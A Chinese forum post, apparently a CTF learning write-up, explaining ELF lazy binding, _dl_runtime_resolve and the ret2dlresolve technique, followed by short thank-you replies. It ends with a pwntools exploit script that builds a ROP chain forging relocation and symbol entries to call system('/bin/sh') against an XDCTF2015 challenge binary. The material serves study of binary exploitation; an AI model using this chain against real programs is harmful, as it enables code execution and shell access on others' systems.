理解ret2dlsolve和函数地址解析过程

查看 117|回复 9
作者:ybw4cry   
ELF在执行时,许多函数的地址是lazy binding的,即在第一次调用时才会解析其地址并填充至.got.plt,这个过程是在.plt里面完成的

文章中用到的程序是用这个仓库里面的源码进行编译的
然后有些地方参考了ctf-wiki,当时看完wiki不是很理解,最后一咬牙把这个方法看完了,希望我的理解过程能帮助更多的人,欢迎评论。

解析函数地址


0.png (685.74 KB, 下载次数: 1)
下载附件
解析1
2022-1-2 20:01 上传



1.png (334.42 KB, 下载次数: 0)
下载附件
2022-1-2 20:04 上传

上面两张图解释了函数地址在函数第一次调用的时候是如何解析的,但是还不足以理解ret2dlsolve
因为我们需要了解ld.so里面执行的一些东西
重定位表


1.png (193.32 KB, 下载次数: 0)
下载附件
2022-1-2 20:01 上传


重定位表对应.rel.plt段,也是readelf -r会显示的内容

得到偏移,进入dlsolve之后程序根据偏移找到对应的重定位表项,从途中可以看出条目由函数的got和r_info构成
符号表


2.png (774.46 KB, 下载次数: 0)
下载附件
2022-1-2 20:02 上传


符号表对应.dynsym段,也是readelf -x会显示的内容

符号表中的条目如图所示,对于write的条目,我们可以看到有6个,展开之后是这样:


3.png (10.94 KB, 下载次数: 0)
下载附件
2022-1-2 20:01 上传

0x4C就是字符串对于字符串表的偏移
动态字符串表

动态字符串表对应.dynstr段,上图已经给出

elf head 相关知识
在了解ret2dlsolve之前,我们需要先了解一些elf头的知识☝️
readelf用于帮助我们解析头部信息
# 常用的指令&含义
readelf -r # Display the relocations
readelf -d # Display the dynamic section
readelf -s # Display the symbol table
符号表(sym table)的定义:
typedef struct
{
  Elf32_Word    st_name;   /* Symbol name (string tbl index) */
  Elf32_Addr    st_value;  /* Symbol value */
  Elf32_Word    st_size;   /* Symbol size */
  unsigned char st_info;   /* Symbol type and binding */
  unsigned char st_other;  /* Symbol visibility under glibc>=2.2 */
  Elf32_Section st_shndx;  /* Section index */
} Elf32_Sym;
从x86入手


5.png (671.62 KB, 下载次数: 0)
下载附件
2022-1-2 20:05 上传

上面的指令对应ida中的内容:


6.png (613.3 KB, 下载次数: 0)
下载附件
2022-1-2 20:05 上传

call read@plt
看一下重定位信息:
$ readelf -r bof32
Relocation section '.rel.dyn' at offset 0x288 contains 1 entries:
Offset     Info    Type            Sym.Value  Sym. Name
080496fc  00000206 R_386_GLOB_DAT    00000000   __gmon_start__
Relocation section '.rel.plt' at offset 0x290 contains 4 entries:
Offset     Info    Type            Sym.Value  Sym. Name
0804970c  00000107 R_386_JUMP_SLOT   00000000   read 08049710  00000207 R_386_JUMP_SLOT   00000000   __gmon_start__
08049714  00000307 R_386_JUMP_SLOT   00000000   __libc_start_main
08049718  00000407 R_386_JUMP_SLOT   00000000   write
结合上面的Elf32_Rel的结构体定义和下面的地址,可以看出Offset就是read函数在.got.plt中的地址
r_info则保存的是其类型和符号序号,具体保存的是什么信息能够结合宏定义推出,这里不赘述。
    0x80482e0:   push   DWORD PTR ds:0x8049704
    0x80482e6:   jmp    DWORD PTR ds:0x8049708
    ...
gdb-peda$ x/3i read:
    0x80482f0 :    jmp    DWORD PTR ds:0x804970c ([email protected])
    0x80482f6 :  push   0x0
    0x80482fb : jmp    0x80482e0
    ...
    0x804970c :       0x080482f6
在第一次调用时,jmp [email protected]会跳回read@plt,这是我们已经知道的。接下来,会将参数push到栈上并跳至.got.plt+0x8,这相当于调用以下函数:
_dl_runtime_resolve(link_map, rel_offset);
我们知道参数是从右至左压栈的,所以第一个压栈的0就是rel_offset,第二个压栈的常量指针就是link_map
该函数的工作原理:

  • 根据rel_offset,找到重定位表中的重定位条目


    7.png (31.65 KB, 下载次数: 0)
    下载附件
    2022-1-2 20:06 上传

  • 根据rel_entry中的动态符号表条目编号,条目编号就是0x107中的1,我们就找符号表中第一条就行,得到对应的符号信息


    8.png (39.26 KB, 下载次数: 0)
    下载附件
    2022-1-2 20:06 上传

  • 再根据符号信息中的偏移找到符号名称【也叫动态字符串】(比如说'read')

  • 由此名称,搜索动态库

  • 找到地址后,填充至.got.plt对应位置

  • 调整栈,调用这一解析得到的函数

    重定位表项、动态符号表、动态字符串表都是从目标文件中的动态节 .dynamic 索引得到的

    攻击思路
    linker使用_dl_runtime_resolve(link_map_obj, reloc_offset)来进行重定位
    我们要控制相应的参数及其对应地址的内容
    思路1 -- 直接控制重定位表项的相关内容
    dl_solve根据符号的名字进行解析,直接修改动态字符串表.dynstr
    但是,动态字符串表、动态符号表、重定位表项都是只读的。
    所以可以伪造合适的重定位偏移
    这个貌似是**Parital RELRO**的思路

    思路2 -- 间接控制重定位表项的相关内容
    既然动态链接器会从 .dynamic 节中索引到各个目标节,那如果我们可以修改动态节中的内容,那自然就很容易控制待解析符号对应的字符串,从而达到执行目标函数的目的。
    这个思路貌似是**NO RELRO**的攻击思路

    NO RELRO
    没有保护的时候.dynamic是可写的
    modify .dynstr pointer in .dynamic section to a specific location
    我们构造一段假的动态字符串表,然后把指针指过去就行了


    9.png (655.72 KB, 下载次数: 1)
    下载附件
    2022-1-2 20:06 上传

    我们控制下的程序流:
    push offset;
    jmp2plt0;
    解析; // 这里解析的话就会使用我们更改的动态字符串表
    Parital RELRO
    我们控制offset,解析之后指向我们构造的重定位项
    重定位项由got和r_info组成

    [ol]

  • 将栈迁移到 bss 段

  • 构造offset 使解析offset之后得到的重定位表项落在ropchain中(这里的offset对应plt里函数的offset)
  • 原来的时候 [.rel.plt + offset] = got

  • 构造重定位表项 使解析后的 符号表项落在ropchain中

  • 构造符号表项 使解析后的 动态字符串落在ropchain中

  • 把动态字符串改成"system",传入参数"/bin/sh"就能getshell了
    [/ol]
    使用工具进行ret2dlsolve
    一般就是用pwntools构造,roputils不支持python3,希望有人接盘吧
    然后我们需要去理解工具在构造的过程中做了什么
    from mmap import mmap
    from helper import *
    import helper
    import re
    abbre(globals(), io, loader) # 此处定义了常用的缩写
    # helper就是我自己对pwntools的封装,大家不必在意
    dlresolve = Ret2dlresolvePayload(elf,symbol="system",args=["/bin/sh"])
    # pwntools will help us choose a proper addr
    # https://github.com/Gallopsled/pwntools/blob/5db149adc2/pwnlib/rop/ret2dlresolve.py#L237
    rop.read(0,dlresolve.data_addr)
    rop.ret2dlresolve(dlresolve)
    raw_rop = rop.chain()
    print(rop.dump())
    ru(b"Welcome to XDCTF2015~!\n")
    # 0x0000:        0x80490a4 read(0, 0x804be00) # size=0x8049030
    # 0x0004:        0x8049352  pop edi; pop ebp; ret # 吃掉 arg0 和 arg1
    # 0x0008:              0x0 arg0
    # 0x000c:        0x804be00 arg1, `addr of payload_2`
    # 0x0010:        0x8049030 [plt_init] system(0x804be20)
    # 0x0014:           0x3a98 [dlresolve index] -> 重定位表项: 0x804be18
                                                  # 符号表项 0x804be08 (0x8048228 + 0x3be0)
                                                  # 动态字符串 0x3b38 + 0x80482c8 = 0x804be00
    # 0x0018:          b'gaaa'
    # 0x001c:        0x804be20 arg0               # /bin/sh for system
    rop = ROP(elf)
    rop.raw(dlresolve.payload)
    print("======================")
    print(rop.dump())    # 这里你可以看到后面的payload是什么样子
    payload = flat({112:raw_rop})
    s(payload)
    s(dlresolve.payload)
    shell()
    可以看出和上面我们分析出来的思路大体上是一致的
    这个洞对我来说还是比较复杂,文章模糊不清的地方欢迎指正,如有不足,多多包涵

    字符串, 符号

  • Li1y   

    图片顺序错了
    xiaowoaini   

    学习加分享
    sxhzsj   

    @ybw4cry 帖子图片开始有问题,看起来你重新上传本地,但没删除之前的图片地址,我帮你编辑了。
    404undefined   

    楼主辛苦,谢谢分享!
    Muan   

    楼主辛苦,谢谢分享!
    梵天不是神   

    学习加分享,楼主辛苦
    xunxunmimi0936   

    楼主辛苦。            
    he58394835   

    楼主辛苦了、
    梵天不是神   

    感谢分享
    您需要登录后才可以回帖 登录 | 立即注册

    返回顶部